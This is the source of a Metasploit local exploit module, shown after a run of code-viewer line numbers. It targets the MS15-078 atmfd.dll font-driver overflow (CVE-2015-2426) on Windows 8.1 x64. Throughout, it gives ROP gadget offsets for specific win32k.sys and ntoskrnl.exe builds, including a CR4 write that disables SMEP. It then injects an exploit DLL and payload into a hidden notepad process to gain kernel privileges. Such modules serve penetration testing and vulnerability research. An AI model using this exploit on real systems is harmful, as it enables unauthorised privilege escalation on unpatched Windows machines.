1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = ManualRanking WIN32K_VERSIONS = [ '6.3.9600.17393', '6.3.9600.17630', '6.3.9600.17694', '6.3.9600.17796', '6.3.9600.17837', '6.3.9600.17915' ] NT_VERSIONS = [ '6.3.9600.17415', '6.3.9600.17630', '6.3.9600.17668', '6.3.9600.17936' ] include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super(update_info(info, { 'Name'=> 'MS15-078 Microsoft Windows Font Driver Buffer Overflow', 'Description' => %q{ This module exploits a pool based buffer overflow in the atmfd.dll driver when parsing a malformed font. The vulnerability was exploited by the hacking team and disclosed on the july data leak. This module has been tested successfully on vulnerable builds of Windows 8.1 x64. }, 'License' => MSF_LICENSE, 'Author'=> [ 'Eugene Ching',# vulnerability discovery and exploit 'Mateusz Jurczyk', # vulnerability discovery 'Cedric Halbronn', # vulnerability and exploit analysis 'juan vazquez' # msf module ], 'Arch'=> ARCH_X86_64, 'Platform'=> 'win', 'SessionTypes'=> [ 'meterpreter' ], 'DefaultOptions'=> { 'EXITFUNC'=> 'thread', }, 'Targets' => [ [ 'Windows 8.1 x64',{ } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References'=> [ ['CVE', '2015-2426'], ['CVE', '2015-2433'], ['MSB', 'MS15-078'], ['MSB', 'MS15-080'], ['URL', 'https://github.com/vlad902/hacking-team-windows-kernel-lpe'], ['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/september/exploiting-cve-2015-2426-and-how-i-ported-it-to-a-recent-windows-8.1-64-bit/'], ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=369'], ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=480'] ], 'DisclosureDate'=> 'Jul 11 2015', 'DefaultTarget' => 0 })) end def patch_win32k_offsets(dll) @win32k_offsets.each do |k, v| case k when 'info_leak' dll.gsub!([0xdeedbeefdeedbe00].pack('Q<'), [v].pack('Q<')) when 'pop_rax_ret' dll.gsub!([0xdeedbeefdeedbe01].pack('Q<'), [v].pack('Q<')) when 'xchg_rax_rsp' dll.gsub!([0xdeedbeefdeedbe02].pack('Q<'), [v].pack('Q<')) when 'allocate_pool' dll.gsub!([0xdeedbeefdeedbe03].pack('Q<'), [v].pack('Q<')) when 'pop_rcx_ret' dll.gsub!([0xdeedbeefdeedbe04].pack('Q<'), [v].pack('Q<')) when 'deref_rax_into_rcx' dll.gsub!([0xdeedbeefdeedbe05].pack('Q<'), [v].pack('Q<')) when 'mov_rax_into_rcx' dll.gsub!([0xdeedbeefdeedbe06].pack('Q<'), [v].pack('Q<')) when 'pop_rbx_ret' dll.gsub!([0xdeedbeefdeedbe07].pack('Q<'), [v].pack('Q<')) when 'ret' dll.gsub!([0xdeedbeefdeedbe08].pack('Q<'), [v].pack('Q<')) when 'mov_rax_r11_ret' dll.gsub!([0xdeedbeefdeedbe09].pack('Q<'), [v].pack('Q<')) when 'add_rax_rcx_ret' dll.gsub!([0xdeedbeefdeedbe0a].pack('Q<'), [v].pack('Q<')) when 'pop_rsp_ret' dll.gsub!([0xdeedbeefdeedbe0b].pack('Q<'), [v].pack('Q<')) when 'xchg_rax_rsp_adjust' dll.gsub!([0xdeedbeefdeedbe0c].pack('Q<'), [v].pack('Q<')) when 'chwnd_delete' dll.gsub!([0xdeedbeefdeedbe0d].pack('Q<'), [v].pack('Q<')) end end end def set_win32k_offsets @win32k_offsets ||= Proc.new do |version| case version when '6.3.9600.17393' { 'info_leak' => 0x3cf00, 'pop_rax_ret' => 0x19fab,# pop rax # ret # 58 C3 'xchg_rax_rsp'=> 0x6121, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x352220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x98156,# pop rcx # ret # 59 C3 'deref_rax_into_rcx'=> 0xc432f,# mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx'=> 0xc4332,# mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3 'ret' => 0x6e314,# ret C3 'mov_rax_r11_ret' => 0x7018e,# mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xee38f,# add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0xbc8f, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x189a3a, # xchg esp, eax # sbb al, 0 # mov eax, ebx # add rsp, 20h # pop rbx # ret # 94 1C 00 8B C3 48 83 c4 20 5b c3 'chwnd_delete'=> 0x165010# CHwndTargetProp::Delete } when '6.3.9600.17630' { 'info_leak' => 0x3d200, 'pop_rax_ret' => 0x19e9b,# pop rax # ret # 58 C3 'xchg_rax_rsp'=> 0x6024, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x84f4f,# pop rcx # ret # 59 C3 'deref_rax_into_rcx'=> 0xc3f7f,# mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx'=> 0xc3f82,# mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3 'ret' => 0x14dc, # ret C3 'mov_rax_r11_ret' => 0x7034e,# mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xed33b,# add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0xbb93, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x17c78c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete'=> 0x146EE0# CHwndTargetProp::Delete } when '6.3.9600.17694' { 'info_leak' => 0x3d300, 'pop_rax_ret' => 0x151f4,# pop rax # ret # 58 C3 'xchg_rax_rsp'=> 0x600c, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x2cf10,# pop rcx # ret # 59 C3 'deref_rax_into_rcx'=> 0xc3757,# mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx'=> 0xc375a,# mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x6682, # pop rbx # ret # 5B C3 'ret' => 0x6683, # ret C3 'mov_rax_r11_ret' => 0x7010e,# mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xecd7b,# add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0x71380,# pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x178c84, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete'=> 0x1513D8# CHwndTargetProp::Delete } when '6.3.9600.17796' { 'info_leak' => 0x3d000, 'pop_rax_ret' => 0x19e4f,# pop rax # ret # 58 C3 'xchg_rax_rsp'=> 0x5f64, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x352220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x97a5e,# pop rcx # ret # 59 C3 'deref_rax_into_rcx'=> 0xc3aa7,# mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx'=> 0xc3aaa,# mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x1B20, # pop rbx # ret # 5B C3 'ret' => 0x1B21, # ret C3 'mov_rax_r11_ret' => 0x7010e,# mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xecf8b,# add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0x29fd3,# pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x1789e4, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete'=> 0x150F58# CHwndTargetProp::Delete } when '6.3.9600.17837' { 'info_leak' => 0x3d800, 'pop_rax_ret' => 0x1a51f,# pop rax # ret # 58 C3 'xchg_rax_rsp'=> 0x62b4, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x97a4a,# pop rcx # ret # 59 C3 'deref_rax_into_rcx'=> 0xc3687,# mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx'=> 0xc368a,# mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3 'ret' => 0x14dc, # ret C3 'mov_rax_r11_ret' => 0x94871,# mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xecbdb,# add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0xbd2c, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x15e84c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete'=> 0x15A470# CHwndTargetProp::Delete } when '6.3.9600.17915' { 'info_leak' => 0x3d800, 'pop_rax_ret' => 0x1A4EF,# pop rax # ret # 58 C3 'xchg_rax_rsp'=> 0x62CC, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x9765A,# pop rcx # ret # 59 C3 'deref_rax_into_rcx'=> 0xC364F,# mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx'=> 0xC3652,# mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x14DB, # pop rbx # ret # 5B C3 'ret' => 0x14DC, # ret # C3 'mov_rax_r11_ret' => 0x7060e,# mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xECDCB,# add rax, rcx # 48 03 C1 C3 'pop_rsp_ret' => 0xbe33, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x15e5fc, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete'=> 0x15A220# CHwndTargetProp::Delete } else nil end end.call(@win32k) end def patch_nt_offsets(dll) @nt_offsets.each do |k, v| case k when 'set_cr4' dll.gsub!([0xdeedbeefdeedbe0e].pack('Q<'), [v].pack('Q<')) when 'allocate_pool_with_tag' dll.gsub!([0xdeedbeefdeedbe0f].pack('Q<'), [v].pack('Q<')) end end end def set_nt_offsets @nt_offsets ||= Proc.new do |version| case version when '6.3.9600.17415' { 'set_cr4'=> 0x38a3cc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 'allocate_pool_with_tag' => 0x2a3a50# ExAllocatePoolWithTag } when '6.3.9600.17630' { 'set_cr4'=> 0x38A3BC, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 'allocate_pool_with_tag' => 0x2A3A50# ExAllocatePoolWithTag } when '6.3.9600.17668' { 'set_cr4'=> 0x38A3BC, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 'allocate_pool_with_tag' => 0x2A3A50# ExAllocatePoolWithTag } when '6.3.9600.17936' { 'set_cr4'=> 0x3863bc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 'allocate_pool_with_tag' => 0x29FA50# ExAllocatePoolWithTag } else nil end end.call(@ntoskrnl) end def atmfd_version file_path = expand_path('%windir%') << '\\system32\\atmfd.dll' major, minor, build, revision, branch = file_version(file_path) return nil if major.nil? ver = "#{major}.#{minor}.#{build}.#{revision}" vprint_status("atmfd.dll file version: #{ver} branch: #{branch}") ver end def win32k_version file_path = expand_path('%windir%') << '\\system32\\win32k.sys' major, minor, build, revision, branch = file_version(file_path) return nil if major.nil? ver = "#{major}.#{minor}.#{build}.#{revision}" vprint_status("win32k.sys file version: #{ver} branch: #{branch}") ver end def ntoskrnl_version file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe' major, minor, build, revision, branch = file_version(file_path) return nil if major.nil? ver = "#{major}.#{minor}.#{build}.#{revision}" vprint_status("ntoskrnl.exe file version: #{ver} branch: #{branch}") ver end def check # We have tested only windows 8.1 if sysinfo['OS'] !~ /Windows 8/i return Exploit::CheckCode::Unknown end # We have tested only 64 bits if sysinfo['Architecture'] !~ /(wow|x)64/i return Exploit::CheckCode::Unknown end atmfd = atmfd_version # atmfd 5.1.2.238 => Works unless atmfd && Gem::Version.new(atmfd) <= Gem::Version.new('5.1.2.243') return Exploit::CheckCode::Safe end # win32k.sys 6.3.9600.17393 => Works @win32k = win32k_version unless @win32k && WIN32K_VERSIONS.include?(@win32k) return Exploit::CheckCode::Detected end # ntoskrnl.exe 6.3.9600.17415 => Works @ntoskrnl = ntoskrnl_version unless @ntoskrnl && NT_VERSIONS.include?(@ntoskrnl) return Exploit::CheckCode::Unknown end Exploit::CheckCode::Appears end def exploit print_status('Checking target...') if is_system? fail_with(Failure::None, 'Session is already elevated') end check_result = check if check_result == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, 'Target not vulnerable') end if check_result == Exploit::CheckCode::Unknown fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end if check_result == Exploit::CheckCode::Detected fail_with(Failure::NotVulnerable, 'ROP chain not available for the target nt/win32k') end unless get_target_arch == ARCH_X86_64 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') end print_status("Exploiting with win32k #{@win32k} and nt #{@ntoskrnl}...") set_win32k_offsets fail_with(Failure::NoTarget, 'win32k.sys offsets not available') if @win32k_offsets.nil? set_nt_offsets fail_with(Failure::NoTarget, 'ntoskrnl.exe offsets not available') if @nt_offsets.nil? begin print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Sandboxes could not allow to create a new process # stdapi_sys_process_execute: Operation failed: Access is denied. print_status('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-2426', 'reflective_dll.x64.dll') library_path = ::File.expand_path(library_path) print_status("Reflectively injecting the exploit DLL into #{process.pid}...") dll = '' ::File.open(library_path, 'rb') { |f| dll = f.read } patch_win32k_offsets(dll) patch_nt_offsets(dll) exploit_mem, offset = inject_dll_data_into_process(process, dll) print_status("Exploit injected. Injecting payload into #{process.pid}...") payload_mem = inject_into_process(process, payload.encoded) # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. print_status('Payload injected. Executing exploit...') process.thread.create(exploit_mem + offset, payload_mem) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end |